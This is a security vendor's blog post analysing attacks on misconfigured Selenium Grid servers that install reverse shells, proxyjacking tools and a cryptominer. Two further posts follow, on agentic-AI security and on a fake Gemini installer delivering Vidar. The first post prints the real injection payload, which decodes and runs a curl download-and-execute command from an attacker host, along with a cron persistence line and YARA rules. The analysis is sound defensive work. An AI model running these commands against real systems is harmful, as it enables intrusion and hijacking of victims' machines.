ブログ
/
Cloud
/
December 9, 2024

From Automation to Exploitation: The Growing Misuse of Selenium Grid for Cryptomining and Proxyjacking

Cado Security Labs (now part of Darktrace) identified two new campaigns exploiting misconfigured Selenium Grid instances for cryptomining and proxyjacking. Attackers injected scripts to deploy reverse shells, IPRoyal Pawn, EarnFM, TraffMonetizer, and WatchTower for proxyjacking, and a Golang binary to install a cryptominer. These attacks highlight the critical need for Selenium Grid users to enable authentication.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
Written by
Nate Bill
Threat Researcher
Default blog image
09
Dec 2024

Introduction: Misuse of Selenium Grid for cryptomining and proxyjacking

Cado Security Labs operates multiple honeypots across various services, enabling the discovery of new malware and campaigns. Recently, Cado Security researchers discovered two campaigns targeting Selenium Grid to deploy an exploit kit, cryptominer, and proxyjacker.

Selenium is an open-source project consisting of various components used for browser automation and testing. Selenium Grid is a server that facilitates running test cases in parallel across different browsers and versions. Selenium Grid is used by thousands of organizations worldwide, including large enterprises, startups, and open-source contributors. The exact number of users is difficult to quantify due to its open-source nature, but estimates suggest that millions of developers rely on Selenium tools. The tool’s flexibility and integration into CI/CD pipelines make it a popular choice for testing web applications across different platforms. However, Selenium Grid's default configuration lacks authentication, making it vulnerable to exploitation by threat actors [1].

Earlier this year, researchers at Wiz published findings on a cryptomining campaign named SeleniumGreed [1], which exploited misconfigured Selenium Grid instances. As a result, Cado Security Labs set up a new honeypot to detect emerging campaigns that exploit misconfigured Selenium Grid instances.

Technical analysis

Attack flow diagram
Figure 1: Attack flow of observed campaigns

Due to the misconfiguration in the Selenium Grid instance, threat actors are able to exploit the lack of authentication to carry out malicious activities. In the first attack observed, an attacker used the “goog:chromeOptions” configuration to inject a Base64 encoded Python script as an argument.

As shown in the code snippet below, the attacker specified Python3 as the binary in the WebDriver configuration, which enables the injected script to be executed.

import base64;exec(base64.b64decode(b).decode())"]}}}, "desiredCapabilities": {"browserName": "chrome", "version": "", "platform": "ANY", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cb=b'aW1wb3J0IG9zO29zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKTtvcy5zeXN0ZW0oImN1cmwgLWZzU0xrIGh0dHA6Ly8xNzMuMjEyLjIyMC4yNDcvYnVyamR1YmFpLy5qYmxhZS95IC1vIC9kZXYvc2htL3kgOyBiYXNoIC9kZXYvc2htL3kgOyBybSAtcmYgL2Rldi9zaG0veSIpCg==';import base64;exec(base64.b64decode(b).decode())"]}}} 

import os;os.putenv("HISTFILE","/dev/null");os.system("curl -fsSLk http://173.212.220.247/burjdubai/.jblae/y -o /dev/shm/y ; bash /dev/shm/y ; rm -rf /dev/shm/y") 

The script, shown decoded above, sets the HISTFILE variable to “/dev/null”, which disables the logging of shell command history. Following this, the code uses “curl” to retrieve the script “y” from “http://173[.]212[.]220[.]247/burjdubai/.jblae/y” and saves it to a temporary directory “/dev/shm/y”. The downloaded file is then executed as a shell script using bash, with the file deleted from the system to remove evidence of its presence. 

The script “y” is GSocket reverse shell. GSocket [2] is a legitimate networking tool that creates encrypted TCP connections between systems; however, it is also used by threat actors for command-and-control (C2) or a reverse shell to send commands to the infected system. For this reverse shell, the webhook is set to “http://193[.]168[.]143[.]199/nGs.php?s=Fjb9eGXtNPnBXEB2ofmKz9”.

Reverse shell script
Figure 2: Reverse shell script

A second bash script named “pl” is retrieved from the C2. The script contains a series of functions that: 

  • Perform system architecture checks.
  • Stop Docker containers “watchtower” and “traffmonitizer”.
  • Sets the installation path to “/opt/.net/” or “/dev/shm/.net-io/”.
  • Depending on the system architecture, IPRoyal Pawn and EarnFM payloads are retrieved from 54[.]187[.]140.5 via curl and wget.
  • These are executed with the users’ IPRoyal details passed as arguments:
    -accept-tos -email="[email protected]" -password="wrapitDown9!"

IPRoyal Pawns is a residential proxy service that allows users to sell their internet bandwidth in exchange for money. The user's internet connection is shared with the IPRoyal network with the service using the bandwidth as a residential proxy, making it available for various purposes, including for malicious purposes. Proxyjacking is a form of cyber exploitation where an attacker hijacks a user's internet connection to use it as a proxy server. This allows the attacker to sell their victim’s IP to generate revenue. 

Screenshot from the "pl" script installing IPRoyal
Figure 3: Screenshot from the “pl” script installing IPRoyal

Inside “pl” there is a Base64 encoded script “tm”. This script also performs a series of functions including:

  • Checks for root privileges
  • Checks operating system 
  • Checks IPv4 status
  • System architecture checks
  • Sets TraffMonetizer token to ‘"2zXf0MLJ4l7xXvSEdEWGEOzfYLT6PabwAgWQfUYwCxg="’
  • Base64 encoded script to install Docker, if not already running
  • Retrieve TraffMonetizer and WatchTower Docker images from Docker registry
  • Deletes old TraffMonetizer container
Screenshot of function "tm" performing system checks
Figure 4: Screenshot of function “tm” performing system checks

In a second campaign, a threat actor followed a similar pattern of passing a Base64 encoded Python script in the “goog:chromeOptions” configuration to inject the script as an argument. Decoding the Python script reveals a Bash script:

{"capabilities": {"firstMatch": [{}], "alwaysMatch": {"browserName": "chrome", "pageLoadStrategy": "normal", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cimport base64;exec(base64.b64decode(b'aW1wb3J0IG9zO29zLnN5c3RlbSgibm9odXAgZWNobyAnSXlNaEwySnBiaTlpWVhOb0NtWjFibU4w…').decode())"]}}}} 

Bash script revealed by decoding the Python script
Figure 5: Bash script revealed by decoding the Python script

The Bash script checks the system's architecture and ensures it's running on a 64-bit machine, otherwise it exits. It then prepares the environment by creating necessary directories and attempting to remount “/tmp” with executable permissions if they are restricted. The script manipulates environment variables and configuration files, setting up conditions for the payload to run. It checks if certain processes or network connections exist to avoid running multiple instances or overlapping with other malware. The script also downloads an ELF binary “checklist.php” from a remote server with the User-Agent string “curl/7.74.9”. The script checks if the binary has been downloaded based on bytes size and executes it in the background. After executing the payload, the script performs clean up tasks by removing temporary files and directories.

The downloaded ELF binary, “checklist.php”, is packed with UPX, a common packer. However, the UPX header has been removed from the binary to prevent analysis using the unpacker function built into UPX.  

Manually unpacking UPX is a fairly straightforward process, as it is well documented. To do this, GNU debugger (GDB) Cado researchers used to step through the packed binary until they reached the end of the UPX stub, where execution control is handed over to the unpacked code. Researchers then dumped the memory maps of the process and reconstructed the original ELF using the data within.

The unpacked binary is written in Golang - an increasingly popular choice for modern malware. The binary is stripped, meaning its debugging information and symbols, including function names have been removed.

When run, the ELF binary attempts to use the PwnKit [3] exploit to escalate to root. This is a fairly old exploit for the vulnerability, CVE-2021-4034, and likely patched on most systems. A number of connections are made to Tor nodes that are likely being used for a C2, that are generated dynamically using a Domain Generation Algorithm (DGA). The victim’s IP address is looked up using iPify. The binary will then drop the “perfcc” crypto miner, as well as a binary named “top” to “~/.config/cron” and “~/.local/bin” respectively. A cron job is set up to establish persistence for each binary.

11 * * * * /.config/cron/perfcc

Additionally, the binary creates two directories in /tmp/. Shown in Figure 6 is the directory “/tmp/.xdiag” that is created and contains multiple files and folders. The second directory created is “/tmp/.perf.c”, shown in Figure 7, includes a copy of the original binary that is named based on the process it has been injected into, in this example it is “systemd”. A PID of the process is stored in “/tmp”/ as “/.apid”. Inside the “/tmp/.perf.c” directory is also a UPX packed XMRig binary named “perfcc”, used for cryptomining. 

.xdiag directory
Figure 6: .xdiag directory
.perf.c directory
Figure 7: .perf.c directory

“Top” is a Shell Script Compiler (SHC) compiled ELF binary. SHC compiles Bash scripts into a binary with the contents encrypted with ARC4, making detection and analysis more difficult. 

Bash script from Top
Figure 8: Bash script from Top

This script checks for the presence of specific environment variables to determine its actions. If the “ABWTRX” variable is set, it prints a message and exits. If the “AAZHDE” environment variable is not set, the script adjusts the PATH, sets up cleanup traps, forcefully terminates any “perfctl” processes, and removes temporary files to clean up any artifacts. Finally, it executes the “top” command to display system processes and their resource usage. 

Key takeaways

While this is not the first time Selenium Grid has been exploited by threat actors, this campaign displays another variation of attack that can occur in misconfigured instances. It is also worth noting that similar attacks have been identified in other vulnerable services, such as GitHub. The LABRAT campaign identified by sysdig [4] last year exploited a vulnerability in GitLab for cryptomining and proxyjacking. 

As many organizations rely on Selenium Grid for web browser testing, this campaign further highlights how misconfigured instances can be abused by threat actors. Users should ensure authentication is configured, as it is not enabled by default. Additionally, organizations can consider a DFIR, such as Cado (acquired by Darktrace) to quickly respond to threats while minimizing potential damage and downtime.  

Indicators of compromise

54[.]187[.]140[.]5

173[.]212[.]220[.]247

193[.]168[.]143[.]199

198[.]211[.]126[.]180

154[.]213[.]187[.]153

http://173[.]212[.]220[.]247/burjdubai/.jblae/pl

http://173[.]212[.]220[.]247/burjdubai/.jblae/y

Tor nodes

95[.]216[.]88[.]55

146[.]70[.]120[.]58

50[.]7[.]74[.]173 www[.]os7mj54hx4pwvwobohhh6[.]com

129[.]13[.]131[.]140 www[.]xt3tiue7xxeahd5lbz[.]com

199[.]58[.]81[.]140 www[.]kdzdpvltoaqw[.]com

212[.]47[.]244[.]38 www[.]fkxwama7ebnluzontqx2lq[.]com

top : 31ee4c9984f3c21a8144ce88980254722fd16a0724afb16408e1b6940fd599da  

perfcc : 22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13  

pwnkit : 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879  

net_ioaarch64 : 95aa55faacc54532fdf4421d0c29ab62e082a60896d9fddc9821162c16811144  

efm : 96969a8a68dadb82dd3312eee666223663ccb1c1f6d776392078e9d7237c45f2

MITRE ATTACK

Resource Hijacking  : T1496  

Ingress Tool Transfer : T1005  

Command and Scripting Interpreter Python : T1059.006  

Command and Scripting Interpreter Unix Shell : T1059.004  

Scheduled Task Cron : T1053.003  

Hijack Execution Flow Dynamic Linker Hijacking : T1574.006  

Deobfuscate/Decode Files or Information : T1140  

Indicator Removal Clear Command History : T1070.003  

Indicator Removal File Deletion : T1070.004  

Software Packing : T1027.002  

Domain Generation Algorithm : T1568.002

Detection

Paths

/tmp/.xdiag

/tmp/.perf.c

/etc/cron.*/perfclean

/.local/top

/.config/cron/top

/tmp/.apid

Yara rules

rule ELF_SHC_Compiled 
{   
meta:       
 description = "Detects ELF binaries compiled with SHC"       
 author = "[email protected]"       
 date = "2024-09-03" 
strings:       
 $shc_str = "=%lu %d"       
 $shc_str2 = "%s%s%s: %s\n"       
 $shc_str3 = "%lu %d%c"       
 $shc_str4 = "x%lx"       
 $getenv = "getenv"           
 
condition:       
 uint32be(0) == 0x7f454c46 and       
 any of ($shc_str*) and $getenv      
} 
rule Detect_Base64_Obfuscation_Py 
{   
meta:       
 description = "Detects obfuscated Python code that uses base64 decoding"       
 author = "[email protected]"       
 date = "2024-09-04"strings:       
 $import_base64 = "import base64" ascii       
 $exec_base64_decode = "exec(base64.b64decode(" ascii      $decode_exec = "base64.b64decode(b).decode())" ascii    
 condition:       
  all of ($import_base64, $exec_base64_decode, $decode_exec) 
  } 
rule perfcc_script 
{ 
meta:   
author = "[email protected]"description = "Detects script used to set up and retrieve Perfcc"strings:        
$env = "AAZHDE"       
$dir = "mkdir /tmp/.perf.c 2>/dev/null"       
$dir_2 = "mkdir /tmp/.xdiag 2>/dev/null"       
$curl = "\"curl/7.74.9\""       
$command = "pkill -9 perfctl &>/dev/null"       
$command_2 = "killall -9 perfctl &>/dev/null"       
$command_3 = "chmod +x /tmp/httpd"
condition:       
 $env and ($dir or $dir_2) and any of ($command*) and $curl  
 } 

References:  

  1. https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps
  2. http://github.com/hackerschoice/gsocket
  3. https://github.com/ly4k/PwnKit
  4. https://www.sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

August 21, 2026

AI Agents: Securing the Path from Intent to Action

Default blog imageDefault blog image

The UK’s National Cyber Security Centre (NCSC) recently published guidance on managing the cyber risk of agentic AI. While the document is framed as interim advice as more formal guidance is developed, the framing reflects the current state of the industry: organizations are already deploying agents into production environments while standards, controls, and operating models for autonomous systems remain unsettled. Governance is evolving alongside adoption rather than preceding it, a reality which underscores the importance of robust controls.  

The NCSC’s guidance recommends aligning controls to an agent's level of autonomy, assigning distinct identities, limiting permissions, constraining access to systems and data, monitoring activity, maintaining human oversight, and preserving the ability to intervene when necessary. Most of these recommendations will sound familiar to security teams. The challenge is not the novelty of the controls. It is the type of system those controls now need to govern.

The shift from model security to agent security

For several years, AI security discussions have focused heavily on models. Can a model be manipulated? Jailbroken? Trusted? Can it expose information it should not? Those questions remain important, but they capture only part of the problem. A model generating text is one thing. A system connected to identities, applications, tools, workflows, and business data is another.

The difference becomes clearer when comparing a chatbot that answers questions with an agent that can retrieve customer records, update tickets, invoke tools, trigger workflows, and interact with external systems. The underlying model may be identical. Its access is not. The security question begins to shift from what the model knows to what the system can do.

The same theme appears in the Five Eyes statement released earlier this year, describing AI as a force multiplier that is accelerating both offensive and defensive cyber operations. The NCSC guidance explores what that reality looks like when autonomous systems begin operating inside enterprise environments.

Securing AI agents in operation

The NCSC spends relatively little time debating model behavior and considerably more time discussing identity, permissions, monitoring, oversight, containment, and response. Agents are treated as participants within an environment rather than isolated pieces of technology.  

That's broadly consistent with how we think about the problem at Darktrace.

An agent should not be treated as an extension of a user account. It develops its own behavioral patterns. It accesses systems, interacts with data, invokes tools, and moves across workflows in ways that can be observed independently. Understanding what an agent is permitted to do matters. Understanding how it actually behaves once deployed, and whether that behavior aligns with business intent, matters just as much.

Identity provides an obvious example. The NCSC recommends assigning distinct identities to agents rather than allowing them to disappear into surrounding human or service accounts. Most importantly, assigning agents distinct identities enables independent behavioral monitoring.

Development assumptions vs. real-world behavior

The same principle extends to monitoring. NCSC guidance places agent activity within normal security operations rather than treating it as a separate AI governance function. Many of the controls described are put in place before an agent begins operating. Sandboxing, credential design, approval workflows and human oversight all reflect judgments about how the system is expected to behave and what risks it is likely to create.

Actual use may challenge those assumptions. Access patterns change. Workflows expand. Systems begin interacting with resources they have never touched before. Processes that appeared reasonable during design behave differently in production. Human oversight requirements may turn out to be either excessive or inadequate once the system is operating at scale and operating within the context of unique business processes.

The Five Eyes statement points to a similar issue: organizations need confidence that controls continue to work as intended once systems are exposed to real users, data, tools and operational pressures. Often, the question is not whether an agent is technically allowed to perform an action, but whether its behavior remains consistent with the role it was intended to play.

Monitoring and governance of AI agents go hand-in-hand

This problem is exactly why monitoring and governance should be treated as part of the same process. Governance sets the initial parameters for deployment, while monitoring provides evidence about whether those parameters remain appropriate. That evidence should, in turn, inform changes to permissions, controls and oversight.

This matters increasingly as autonomous systems are integrated into business processes. The relevant risk is shaped not only by the model or agent itself, but by what it can access, what actions it can take, and how its behavior changes in practice.

Developing continuous oversight of AI agent behavior

The implication is clear: governance cannot end at deployment. Organizations need a way to understand how agents behave after deployment, test whether controls remain appropriate, and adjust them as conditions change. That requires visibility not just into technical activity, but into whether that activity makes sense in the context of the business process the agent is intended to support.

This is where business-centric behavioral security can become critical. Risk does not emerge from the model itself: it emerges from the actions an autonomous system takes within the enterprise and the downstream consequences of those actions.  

An agent can operate exactly as intended and still create risk if it accesses sensitive information in an unexpected context, exercises permissions in ways that create unintended exposure, or influences business processes in ways that were not anticipated during design and review.

Traditional governance vs. behavioral analytics

Traditional governance frameworks provide assurance at a point in time. Behavioral security can provide ongoing visibility into how autonomous systems interact with the organization they are meant to serve. Rather than focusing exclusively on model performance or policy compliance, organizations need to understand whether an agent's behavior aligns with business intent, operational expectations, and acceptable risk tolerances as conditions change.

As enterprises move from isolated AI deployments to interconnected ecosystems of agents, visibility into behavior becomes as important as visibility into code. Governance determines what an autonomous system is permitted to do. Behavioral analytics helps determine what it is doing, what business outcomes it is producing, and whether those outcomes remain aligned with the organization's objectives.

[related-resource]

Continue reading
About the author
Margaret Cunningham, PhD
VP, Security & AI Strategy, Field CISO

Blog

/

AI

/

August 19, 2026

When AI Becomes the Lure: A Fake Gemini Installer Delivers Vidar

Default blog imageDefault blog image

Key takeaways

  • Darktrace observed a customer download a fake Google Gemini installer hosted on Google Colab, resulting in the execution of the Vidar information stealer.
  • Darktrace identified the compromise through behavioral indicators, including suspicious process activity, anomalous network communications, and indicators of credential theft, before autonomously containing the threat.
  • The incident highlights how threat actors are increasingly exploiting trusted platforms and a growing interest in AI tools to distribute malware through seemingly legitimate software acquisition workflows.

The Growing Abuse of Generative AI

As organizations are increasingly adopting generative AI tools into their daily workflows, attackers are adapting their distribution methods accordingly too. As part of their day-to-day work, users are now searching for AI assistants, programming tools, browser extensions, desktop applications, and productivity integrations.

Recent reports have highlighted campaigns that use fake AI software and AI-related installers to distribute malware and steal credentials [1]. Researchers have documented campaigns that exploit fake AI-themed websites and services to distribute information stealers and backdoors [2]. Security researchers have also observed attackers disguising malware as legitimate installers for AI software to increase the likelihood of victim interaction and execution [3].

In July 2026, Darktrace observed one such case within a customer environment in the Europe, Middle East and Africa (EMEA) region, where attackers used a fake generative AI installer to deliver the prolific information stealer Vidar. This incident highlights how threat actors are exploiting interest in AI services to distribute established malware using increasingly convincing social engineering techniques.

How a Fake Gemini Installer Delivered Vidar

Initial Access: From Search Result to Malware Download

Unlike many malware campaigns that begin with a phishing email, this activity appears to have originated from a user searching for and downloading software.

Darktrace first observed unusual activity on the customer network after a suspicious executable file was launched from a user’s Download folder. Further investigation revealed that the file purported to be a Google Gemini installer and was named “Download_Google_Gemini_For_Windows.exe”.

During the initial analysis, it was noted that the top search result for the suspicious filename associated pointed to a file hosted on Google Colab, a cloud-based Jupyter notebook platform, commonly used by developers, researchers, and data scientists to run code and machine learning workloads through a web browser. By leveraging another trusted Google platform, the attacker increased the likelihood that users would perceive the download as legitimate, making the lure more convincing to those searching for Gemini-related software.

Figure 1: The Google Colab page containing a download prompt for the fake Google Gemini installer.

Further investigation of the Google Colab page revealed that the download prompt redirected users to a secondary site, hxxps://micronsoftwares[.]com, which posed as a "Windows Software Hub" download page and offered the fake Gemini installer for download.

Figure 2: The secondary website posing as a "Windows Software Hub" download page, which likely hosted the fake Gemini installer.

While the investigation did not uncover any HTTP or file-download telemetry data that conclusively identified the download source, SSL communication sessions with Google Colab were detected immediately before the suspicious file was executed. The timing of these connections suggests that the user interacted with the Colab resource before being redirected to the secondary site from which the executable was downloaded.

The user was not simply tricked into opening an email attachment; instead, the attacker embedded malicious content into a process many users would consider entirely legitimate: searching for and downloading software associated with a trusted platform.

Weaponizing Trusted Platforms

At the time of review (July 15, 2026), Darktrace's Threat Research team confirmed that the Google Colab page was still active and prompting users to download a ZIP archive containing the binary file.

The archive also appeared to contain a README file instructing users to run the binary file with administrator privileges and add it to their antivirus software’s exception lists. These instructions suggest that the campaign relied heavily on social engineering, convincing users to take actions that would facilitate malware execution and potentially bypass security checks.

The use of a legitimate platform also complicates the user’s decision-making. Downloads associated with a trusted service are often perceived as less suspicious than those hosted on unfamiliar domains. When combined with the branding of a widely used AI tool, the lure becomes even more convincing.

Malware Analysis

Darktrace’s Threat Research team identified the executable file as the information-stealing malware Vidar. Analysis revealed that the binary file was a newer Go-compiled variant that communicated with Telegram-based infrastructure. Darktrace’s researchers also identified dtm[.]kijangturbo88[.]top as a command-and-control (C2) endpoint associated with the activity. While the malware itself was not novel, the lure and delivery mechanism was.

For a deeper look at the information stealer, see Darktrace’s 2023 analysis of Vidar.

Figure 3: Darktrace’s detection of the unusual outbound connection associated with the fake Gemini installer.

Shortly after execution, the process established communications with the external IP address 91.98.98[.]86 via port 443, directly linking the executable to suspicious network activity observed on the device. Subsequent open-source intelligence (OSINT) analysis of the revealed multiple malicious associations [5].

Additional Darktrace detections included unusual SSL activity from the affected device. Analysis of related SSL telemetry identified 91.98.111[.]49 as additional infrastructure associated  with the activity [6].

Subsequent alerts from the customer's Microsoft Defender for Endpoint integration later confirmed activity consistent with the theft of browser credentials and other sensitive data from the affected endpoint.

Taken together, these detections provided a clear picture of the attack, from the execution of a suspicious file and unusual network connections to indicators of C2 activity and credential theft.

Figure 4: Darktrace’s detection of anomalous activity following the execution of the fake Gemini installer, seen in the Model Alert Event Log.

Darktrace's Autonomous Response

Following the detection, Darktrace’s Autonomous Response took immediate containment action, including blocking communication with suspicious external infrastructure, including 91.98.98[.]86, and quarantining the compromised device.

Despite the apparent legitimacy of the activity, with the installer hosted on a trusted platform and resembling a routine software download, Darktrace was able to detect and contain the attack because the device's behavior deviated from its normal pattern.

Figure 5: Automated containment actions implemented by Darktrace's Autonomous Response following the detection of activity associated with the fake Gemini installer.

Conclusion

This investigation highlights how threat actors continue to adapt established malware delivery techniques to emerging technology trends. While the malware itself was not new, the distribution method was. By disguising Vidar as a Google Gemini installer and hosting the malicious content on a trusted platform, the attack aligned its lure with a growing behavioral trend: users actively searching for AI tools and services as part of their day-to-day work.

Although fake installers are not a new phenomenon, the rapid rise of generative AI has created new opportunities for threat actors. Rather than relying solely on traditional delivery methods, attackers can now target users who are actively searching for AI applications. As AI adoption continues to accelerate across enterprise environments, organizations should remain alert to campaigns that exploit this interest through fake applications, malicious websites, manipulated search results, the misuse of trusted platforms, and AI-themed social engineering.

Credit to Rushanth Ramanathan (Cyber Analyst) Joanna Ng (Detection Engineer)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

  • Security Integration / C2 Activity and Integration Detection
  • Endpoint / New Suspicious Executable Launched
  • Endpoint / Process Connection / Unusual Connection from New Process
  • Anomalous Connection / Rare External SSL Self-Signed
  • Security Integration / High Severity Integration Detection
  • Antigena / Network / Significant Anomaly /  Antigena Significant Security Integration and Network Activity Block

•Antigena / Network / Significant Anomaly /  Antigena Significant Anomaly from Client Block

List of Indicators of Compromise (IoCs)

IoC Type Description
Download_Google_Gemini_For_Windows.exe File Fake Gemini-themed installer observed during the investigation.
GoogleAppInstaller.exe File Related executable identified through endpoint telemetry.
91.98.98[.]86 IP Address External destination contacted by the malicious executable.
91.98.111[.]49 IP Address Related infrastructure identified through SSL certificate pivoting.
dtm[.]kijangturbo88[.]top Domain Command-and-control endpoint identified during malware analysis.
1e13c2c9eac72daf63fd00a9946878949e159ae6ec51b54ec64f942d79d61913 SHA256 Malware sample associated with the fake Gemini installer.

MITRE ATT@CK Mapping


MITRE ATT&CK Mapping Tactic Technique
Initial Access T1204 User Execution
Execution T1204.002 User Execution: Malicious File
Defence Evasion T1036 Masquerading
Credential Access T1555 Credentials from Password Stores
Credential Access T1555.003 Credentials from Web Browsers
Command and Control T1071 Application Layer Protocol
Exfiltration T1041 Exfiltration Over C2 Channel
Continue reading
About the author
Rushanth Ramanathan
Cyber Analyst
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ